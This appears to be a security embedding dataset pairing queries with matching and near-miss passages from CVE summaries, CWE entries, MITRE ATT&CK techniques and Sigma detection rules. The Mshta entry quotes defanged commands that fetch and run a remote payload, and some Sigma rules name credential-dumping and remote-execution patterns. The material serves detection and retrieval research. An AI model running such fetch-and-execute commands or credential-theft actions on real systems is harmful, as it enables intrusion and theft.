alirezaaminzadeh/secembed-pairs huggingface dataset:
Query: describe CVE-2015-0590
Matching passage: CVE-2015-0590. CWE: CWE-200. CVSS: 5.0. Cisco WebEx Meeting Center allows remote attackers to activate disabled meeting attributes, and consequently obtain sensitive information, by providing crafted parameters during a meeting-join action, aka Bug ID CSCuo34165.
Near-miss passage: CVE-2015-1323. CWE: CWE-200. CVSS: 5.5. The simulate dbus method in aptdaemon before 1.1.1+bzr982-0ubuntu3.1 as packaged in Ubuntu 15.04, before 1.1.1+bzr980-0ubuntu1.1 as packaged in Ubuntu 14.10, before 1.1.1-1ubuntu5.2 as packaged in Ubuntu 14.04 LTS, before 0.43+bzr805-0ubuntu10 as packaged in Ubuntu 12.04 LTS allows local users to obtain sensitive information, or access files with root permissions.
Query: describe CVE-2015-1712
Matching passage: CVE-2015-1712. CWE: CWE-119. CVSS: 9.300000190734863. Microsoft Internet Explorer 8 and 9 allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via a crafted web site, aka "Internet Explorer Memory Corruption Vulnerability," a different vulnerability than CVE-2015-1691.
Near-miss passage: CVE-2015-8981. CWE: CWE-119. CVSS: 9.800000190734863. Heap-based buffer overflow in the PdfParser::ReadXRefSubsection function in base/PdfParser.cpp in PoDoFo allows attackers to have unspecified impact via vectors related to m_offsets.size.
Query: alert when Detects a dump file written by QuarksPwDump password dumper
Matching passage: Sigma rule: Detects a dump file written by QuarksPwDump password dumper. Logsource: windows / file_event. Rule: title: HackTool - QuarksPwDump Dump File id: 847def9e-924d-4e90-b7c4-5f581395a2b4 status: test description: Detects a dump file written by QuarksPwDump password dumper references: - https://jpcertcc.github.io/ToolAnalysisResultSheet/details/QuarksPWDump.htm author: Florian Roth (Nextron Systems) date: 2018-02-10 modified: 2024-06-27 tags: - attack.credential-access - attack.t1003.002 logsource: category: file_event product: windows detection: selection: TargetFilename|contains|all: - \AppData\Local\Temp\SAM- - .dmp condition: selection falsepositives: - Unknown level: critical
Near-miss passage: Sigma rule: Detects an attempt to execute code or create service on remote host via winrm.vbs.. Logsource: windows / process_creation. Rule: title: Remote Code Execute via Winrm.vbs id: 9df0dd3a-1a5c-47e3-a2bc-30ed177646a0 status: test description: Detects an attempt to execute code or create service on remote host via winrm.vbs. references: - https://twitter.com/bohops/status/994405551751815170 - https://redcanary.com/blog/lateral-movement-winrm-wmi/ - https://lolbas-project.github.io/lolbas/Scripts/Winrm/ author: Julia Fomina, oscd.community date: 2020-10-07 modified: 2023-03-03 tags: - attack.stealth - attack.t1216 logsource: category: process_creation product: windows detection: selection_img: - Image|endswith: \cscript.exe - OriginalFileName: cscript.exe selection_cli: CommandLine|contains|all: - winrm - invoke Create wmicimv2/Win32_ - -r:http condition: all of selection* falsepositives: - Unknown level: medium
Query: patch priority for CVE-2015-4135
Matching passage: CVE-2015-4135. CWE: CWE-79. CVSS: 4.300000190734863. Cross-site scripting (XSS) vulnerability in goto.php in phpwind 8.7 allows remote attackers to inject arbitrary web script or HTML via the url parameter.
Near-miss passage: CVE-2015-10120. CWE: CWE-79. CVSS: 6.099999904632568. A vulnerability, which was classified as problematic, was found in WDS Multisite Aggregate Plugin up to 1.0.0 on WordPress. Affected is the function update_options of the file includes/WDS_Multisite_Aggregate_Options.php. The manipulation leads to cross site scripting. It is possible to launch the attack remotely. Upgrading to version 1.0.1 is able to address this issue. The name of the patch is 49e0bbcb6ff70e561365d9e0d26426598f63ca12. It is recommended to upgrade the affected component. The identifier of this vulnerability is VDB-233364.
Query: threat report mentioning Network Share Connection Removal
Matching passage: T1070.005 Network Share Connection Removal. Tactics: stealth. Description: Adversaries may remove share connections that are no longer useful in order to clean up traces of their operation. Windows shared drive and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002) connections can be removed when no longer needed. [Net](https://attack.mitre.org/software/S0039) is an example utility that can be used to remove network share connections with the <code>net use \\system\share /delete</code> command. (Citation: Technet Net Use)
Near-miss passage: T1070.009 Clear Persistence. Tactics: stealth. Description: Adversaries may clear artifacts associated with previously established persistence on a host system to remove evidence of their activity. This may involve various actions, such as removing services, deleting executables, [Modify Registry](https://attack.mitre.org/techniques/T1112), [Plist File Modification](https://attack.mitre.org/techniques/T1647), or other methods of cleanup to prevent defenders from collecting evidence of their persistent presence.(Citation: Cylance Dust Storm) Adversaries may also delete accounts previously created to maintain persistence (i.e. [Create Account](https://attack.mitre.org/techniques/T1136)).(Citation: Talos - Cisco Attack 2022) In some instances, artifacts of persistence may also be removed once an adversary’s persistence is executed in order to prevent errors with the new instance of the malware.(Citation: NCC Group Team9 June 2020)
Query: vulnerability: The management console on Symantec Web Gateway (SWG) appliances with software before 5.2.2 DB 5.0.0.1277 allows remote authenticated users to bypass intended access restrictions an
Matching passage: CVE-2015-5690. CWE: CWE-78. CVSS: 8.5. The management console on Symantec Web Gateway (SWG) appliances with software before 5.2.2 DB 5.0.0.1277 allows remote authenticated users to bypass intended access restrictions and execute arbitrary commands by leveraging a "redirect."
Near-miss passage: CVE-2015-4237. CWE: CWE-78. CVSS: 4.599999904632568. The CLI parser in Cisco NX-OS 4.1(2)E1(1), 6.2(11b), 6.2(12), 7.2(0)ZZ(99.1), 7.2(0)ZZ(99.3), and 9.1(1)SV1(3.1.8) on Nexus devices allows local users to execute arbitrary OS commands via crafted characters in a filename, aka Bug IDs CSCuv08491, CSCuv08443, CSCuv08480, CSCuv08448, CSCuu99291, CSCuv08434, and CSCuv08436.
Query: explain CWE-242
Matching passage: CWE-242 Use of Inherently Dangerous Function. The product calls a function that can never be guaranteed to work safely.
Near-miss passage: CWE-305 Authentication Bypass by Primary Weakness. The authentication algorithm is sound, but the implemented mechanism can be bypassed as the result of a separate weakness that is primary to the authentication error.
Query: risk of Microsoft Internet Explorer 11 allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via a crafted web site, aka "Internet Explorer Mem
Matching passage: CVE-2015-6068. CWE: CWE-119. CVSS: 9.300000190734863. Microsoft Internet Explorer 11 allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via a crafted web site, aka "Internet Explorer Memory Corruption Vulnerability," a different vulnerability than CVE-2015-6072, CVE-2015-6073, CVE-2015-6075, CVE-2015-6077, CVE-2015-6079, CVE-2015-6080, and CVE-2015-6082.
Near-miss passage: CVE-2015-6069. CWE: CWE-119. CVSS: 9.300000190734863. Microsoft Internet Explorer 8 through 11 allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via a crafted web site, aka "Internet Explorer Memory Corruption Vulnerability," a different vulnerability than CVE-2015-6081.
Query: exploit Off-by-one error in the dwarf_to_unw_regnum function in include/dwarf_i.h in libunwind 1.1 allows local users to have unspecified impact via invalid dwarf opcodes.
Matching passage: CVE-2015-3239. CWE: CWE-189. CVSS: 3.299999952316284. Off-by-one error in the dwarf_to_unw_regnum function in include/dwarf_i.h in libunwind 1.1 allows local users to have unspecified impact via invalid dwarf opcodes.
Near-miss passage: CVE-2015-2192. CWE: CWE-189. CVSS: 5.0. Integer overflow in the dissect_osd2_cdb_continuation function in epan/dissectors/packet-scsi-osd.c in the SCSI OSD dissector in Wireshark 1.12.x before 1.12.4 allows remote attackers to cause a denial of service (infinite loop) via a crafted length field in a packet.
Query: alert when Detects suspicious log entries in Linux log files
Matching passage: Sigma rule: Detects suspicious log entries in Linux log files. Logsource: linux. Rule: title: Suspicious Log Entries id: f64b6e9a-5d9d-48a5-8289-e1dd2b3876e1 status: test description: Detects suspicious log entries in Linux log files references: - https://github.com/ossec/ossec-hids/blob/f6502012b7380208db81f82311ad4a1994d39905/etc/rules/syslog_rules.xml author: Florian Roth (Nextron Systems) date: 2017-03-25 modified: 2021-11-27 tags: - attack.impact logsource: product: linux detection: keywords: - entered promiscuous mode - Deactivating service - Oversized packet received from - imuxsock begins to drop messages condition: keywords falsepositives: - Unknown level: medium
Near-miss passage: Sigma rule: Detects remote task creation via at.exe or API interacting with ATSVC namedpipe. Logsource: windows / security. Rule: title: Remote Task Creation via ATSVC Named Pipe id: f6de6525-4509-495a-8a82-1f8b0ed73a00 status: test description: Detects remote task creation via at.exe or API interacting with ATSVC namedpipe references: - https://web.archive.org/web/20230409194125/https://blog.menasec.net/2019/03/threat-hunting-25-scheduled-tasks-for.html author: Samir Bousseaden date: 2019-04-03 modified: 2024-08-01 tags: - attack.privilege-escalation - attack.execution - attack.lateral-movement - attack.persistence - car.2013-05-004 - car.2015-04-001 - attack.t1053.002 logsource: product: windows service: security definition: The advanced audit policy setting "Object Access > Audit Detailed File Share" must be configured for Success/Failure detection: selection: EventID: 5145 ShareName: \\\\\*\\IPC$ RelativeTargetName: atsvc AccessList|contains: WriteData condition: selection falsepositives: - Unknown level: medium
Query: threat report mentioning Transmitted Data Manipulation
Matching passage: T1565.002 Transmitted Data Manipulation. Tactics: impact. Description: Adversaries may alter data en route to storage or other systems in order to manipulate external outcomes or hide activity, thus threatening the integrity of the data.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating transmitted data, adversaries may attempt to affect a business process, organizational understanding, and decision making. Manipulation may be possible over a network connection or between system processes where there is an opportunity deploy a tool that will intercept and change information. The type of modification and the impact it will have depends on the target transmission mechanism as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.
Near-miss passage: T1565 Data Manipulation. Tactics: impact. Description: Adversaries may insert, delete, or manipulate data in order to influence external outcomes or hide activity, thus threatening the integrity of the data.(Citation: Sygnia Elephant Beetle Jan 2022) By manipulating data, adversaries may attempt to affect a business process, organizational understanding, or decision making. The type of modification and the impact it will have depends on the target application and process as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.
Query: Multiple failed authentications followed by Delete Cloud Instance
Matching passage: T1578.003 Delete Cloud Instance. Tactics: defense impairment. Description: An adversary may delete a cloud instance after they have performed malicious activities in an attempt to evade detection and remove evidence of their presence. Deleting an instance or virtual machine can remove valuable forensic artifacts and other evidence of suspicious behavior if the instance is not recoverable. An adversary may also [Create Cloud Instance](https://attack.mitre.org/techniques/T1578/002) and later terminate the instance after achieving their objectives.(Citation: Mandiant M-Trends 2020)
Near-miss passage: T1578.004 Revert Cloud Instance. Tactics: defense impairment. Description: An adversary may revert changes made to a cloud instance after they have performed malicious activities in attempt to evade detection and remove evidence of their presence. In highly virtualized environments, such as cloud-based infrastructure, this may be accomplished by restoring virtual machine (VM) or data storage snapshots through the cloud management dashboard or cloud APIs. Another variation of this technique is to utilize temporary storage attached to the compute instance. Most cloud providers provide various types of storage including persistent, local, and/or ephemeral, with the ephemeral types often reset upon stop/restart of the VM.(Citation: Tech Republic - Restore AWS Snapshots)(Citation: Google - Restore Cloud Snapshot)
Query: exploit The _asn1_extract_der_octet function in lib/decoding.c in GNU Libtasn1 before 4.5 allows remote attackers to cause a denial of service (out-of-bounds heap read) via a crafted certi
Matching passage: CVE-2015-3622. CWE: CWE-119. CVSS: 4.300000190734863. The _asn1_extract_der_octet function in lib/decoding.c in GNU Libtasn1 before 4.5 allows remote attackers to cause a denial of service (out-of-bounds heap read) via a crafted certificate.
Near-miss passage: CVE-2015-1714. CWE: CWE-119. CVSS: 9.300000190734863. Microsoft Internet Explorer 10 and 11 allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via a crafted web site, aka "Internet Explorer Memory Corruption Vulnerability."
Query: describe CVE-2015-1777
Matching passage: CVE-2015-1777. CWE: CWE-295. CVSS: 5.900000095367432. rhnreg_ks in Red Hat Network Client Tools (aka rhn-client-tools) on Red Hat Gluster Storage 2.1 and Enterprise Linux (RHEL) 5, 6, and 7 does not properly validate hostnames in X.509 certificates from SSL servers, which allows remote attackers to prevent system registration via a man-in-the-middle attack.
Near-miss passage: CVE-2015-4094. CWE: CWE-295. CVSS: 5.800000190734863. The Thycotic Password Manager Secret Server application through 2.3 for iOS does not verify X.509 certificates from SSL servers, which allows man-in-the-middle attackers to spoof servers and obtain sensitive information via a crafted certificate.
Query: write Sigma for Detects the addition of a new file or path exclusion to MacOS Time Machine via the "tmutil" utility. An adversary could
Matching passage: Sigma rule: Detects the addition of a new file or path exclusion to MacOS Time Machine via the "tmutil" utility. An adversary could. Logsource: macos / process_creation. Rule: title: New File Exclusion Added To Time Machine Via Tmutil - MacOS id: 9acf45ed-3a26-4062-bf08-56857613eb52 status: test description: 'Detects the addition of a new file or path exclusion to MacOS Time Machine via the "tmutil" utility. An adversary could exclude a path from Time Machine backups to prevent certain files from being backed up. ' references: - https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1490/T1490.md#atomic-test-12---disable-time-machine - https://www.loobins.io/binaries/tmutil/ author: Pratinav Chandra date: 2024-05-29 tags: - attack.impact - attack.t1490 logsource: category: process_creation product: macos detection: selection_img: - Image|endswith: /tmutil - CommandLine|contains: tmutil selection_cmd: CommandLine|contains: addexclusion condition: all of selection_* falsepositives: - Legitimate administrator activity level: medium
Near-miss passage: Sigma rule: Detects dropping of dll files in system32 that may be used to retrieve user credentials from LSASS. Logsource: windows / process_creation. Rule: title: Dropping Of Password Filter DLL id: b7966f4a-b333-455b-8370-8ca53c229762 status: test description: Detects dropping of dll files in system32 that may be used to retrieve user credentials from LSASS references: - https://pentestlab.blog/2020/02/10/credential-access-password-filter-dll/ - https://github.com/3gstudent/PasswordFilter/tree/master/PasswordFilter author: Sreeman date: 2020-10-29 modified: 2022-10-09 tags: - attack.persistence - attack.credential-access - attack.defense-impairment - attack.t1556.002 logsource: category: process_creation product: windows detection: selection_cmdline: CommandLine|contains|all: - HKLM\SYSTEM\CurrentControlSet\Control\Lsa - scecli\0* - reg add condition: selection_cmdline falsepositives: - Unknown level: medium
Query: patch priority for CVE-2015-5950
Matching passage: CVE-2015-5950. CWE: CWE-119. CVSS: 6.900000095367432. The NVIDIA display driver R352 before 353.82 and R340 before 341.81 on Windows; R304 before 304.128, R340 before 340.93, and R352 before 352.41 on Linux; and R352 before 352.46 on GRID vGPU and vSGA allows local users to write to an arbitrary kernel memory location and consequently gain privileges via a crafted ioctl call.
Near-miss passage: CVE-2015-2377. CWE: CWE-119. CVSS: 9.300000190734863. Microsoft Excel 2007 SP3, Excel 2010 SP2, Excel 2013 SP1, Excel 2013 RT SP1, and Office Compatibility Pack SP3 allow remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via a crafted Office document, aka "Microsoft Office Memory Corruption Vulnerability."
Query: how to detect Mshta
Matching passage: T1218.005 Mshta. Tactics: stealth. Description: Adversaries may abuse mshta.exe to proxy execution of malicious .hta files and Javascript or VBScript through a trusted Windows utility. There are several examples of different types of threats leveraging mshta.exe during initial compromise and for execution of code (Citation: Cylance Dust Storm) (Citation: Red Canary HTA Abuse Part Deux) (Citation: FireEye Attacks Leveraging HTA) (Citation: Airbus Security Kovter Analysis) (Citation: FireEye FIN7 April 2017) Mshta.exe is a utility that executes Microsoft HTML Applications (HTA) files. (Citation: Wikipedia HTML Application) HTAs are standalone applications that execute using the same models and technologies of Internet Explorer, but outside of the browser. (Citation: MSDN HTML Applications) Files may be executed by mshta.exe through an inline script: <code>mshta vbscript:Close(Execute("GetObject(""script:https[:]//webserver/payload[.]sct"")"))</code> They may also be executed directly from URLs: <code>mshta http[:]//webserver/payload[.]hta</code> Mshta.exe can be used to bypass application control solutions that do not account for its potential use. Since mshta.exe executes outside of the Internet Explorer's security context, it also bypasses browser security settings. (Citation: LOLBAS Mshta)
Near-miss passage: T1218.003 CMSTP. Tactics: stealth. Description: Adversaries may abuse CMSTP to proxy execution of malicious code. The Microsoft Connection Manager Profile Installer (CMSTP.exe) is a command-line program used to install Connection Manager service profiles. (Citation: Microsoft Connection Manager Oct 2009) CMSTP.exe accepts an installation information file (INF) as a parameter and installs a service profile leveraged for remote access connections. Adversaries may supply CMSTP.exe with INF files infected with malicious commands. (Citation: Twitter CMSTP Usage Jan 2018) Similar to [Regsvr32](https://attack.mitre.org/techniques/T1218/010) / ”Squiblydoo”, CMSTP.exe may be abused to load and execute DLLs (Citation: MSitPros CMSTP Aug 2017) and/or COM scriptlets (SCT) from remote servers. (Citation: Twitter CMSTP Jan 2018) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018) This execution may also bypass AppLocker and other application control defenses since CMSTP.exe is a legitimate binary that may be signed by Microsoft. CMSTP.exe can also be abused to [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002) and execute arbitrary commands from a malicious INF through an auto-elevated COM interface. (Citation: MSitPros CMSTP Aug 2017) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018)
Query: describe CVE-2015-7620
Matching passage: CVE-2015-7620. CWE: UNKNOWN. CVSS: 6.800000190734863. The ANSendForBrowserReview method in Adobe Reader and Acrobat 10.x before 10.1.16 and 11.x before 11.0.13, Acrobat and Acrobat Reader DC Classic before 2015.006.30094, and Acrobat and Acrobat Reader DC Continuous before 2015.009.20069 on Windows and OS X allows attackers to bypass JavaScript API execution restrictions via unspecified vectors, a different vulnerability than CVE-2015-6707, CVE-2015-6708, CVE-2015-6709, CVE-2015-6710, CVE-2015-6711, CVE-2015-6712, CVE-2015-6713, CVE-2015-6714, CVE-2015-6715, CVE-2015-6716, CVE-2015-6717, CVE-2015-6718, CVE-2015-6719, CVE-2015-6720, CVE-2015-6721, CVE-2015-6722, CVE-2015-6723, CVE-2015-6724, CVE-2015-6725, CVE-2015-7614, CVE-2015-7616, CVE-2015-7618, CVE-2015-7619, and CVE-2015-7623.
Near-miss passage: CVE-2015-2994. CWE: UNKNOWN. CVSS: 6.5. Unrestricted file upload vulnerability in ChangePhoto.jsp in SysAid Help Desk before 15.2 allows remote administrators to execute arbitrary code by uploading a file with a .jsp extension, then accessing it via a direct request to the file in icons/user_photo/.
Query: vulnerability: Cross-site scripting (XSS) vulnerability in Dojo Toolkit before 1.2 allows remote attackers to inject arbitrary web script or HTML via unspecified vectors.
Matching passage: CVE-2015-5654. CWE: CWE-79. CVSS: 4.300000190734863. Cross-site scripting (XSS) vulnerability in Dojo Toolkit before 1.2 allows remote attackers to inject arbitrary web script or HTML via unspecified vectors.
Near-miss passage: CVE-2015-4957. CWE: CWE-79. CVSS: 5.400000095367432. Cross-site scripting (XSS) vulnerability in the Web UI in IBM Security QRadar SIEM 7.1.x before 7.1 MR2 Patch 12 allows remote authenticated users to inject arbitrary web script or HTML via a crafted URL.
Query: exploit Apache HBase 0.98 before 0.98.12.1, 1.0 before 1.0.1.1, and 1.1 before 1.1.0.1, as used in IBM InfoSphere BigInsights 3.0, 3.0.0.1, and 3.0.0.2 and other products, uses incorrect A
Matching passage: CVE-2015-1836. CWE: CWE-284. CVSS: 7.300000190734863. Apache HBase 0.98 before 0.98.12.1, 1.0 before 1.0.1.1, and 1.1 before 1.1.0.1, as used in IBM InfoSphere BigInsights 3.0, 3.0.0.1, and 3.0.0.2 and other products, uses incorrect ACLs for ZooKeeper coordination state, which allows remote attackers to cause a denial of service (daemon outage), obtain sensitive information, or modify data via unspecified client traffic.
Near-miss passage: CVE-2015-8139. CWE: CWE-284. CVSS: 5.300000190734863. ntpq in NTP before 4.2.8p7 allows remote attackers to obtain origin timestamps and then impersonate peers via unspecified vectors.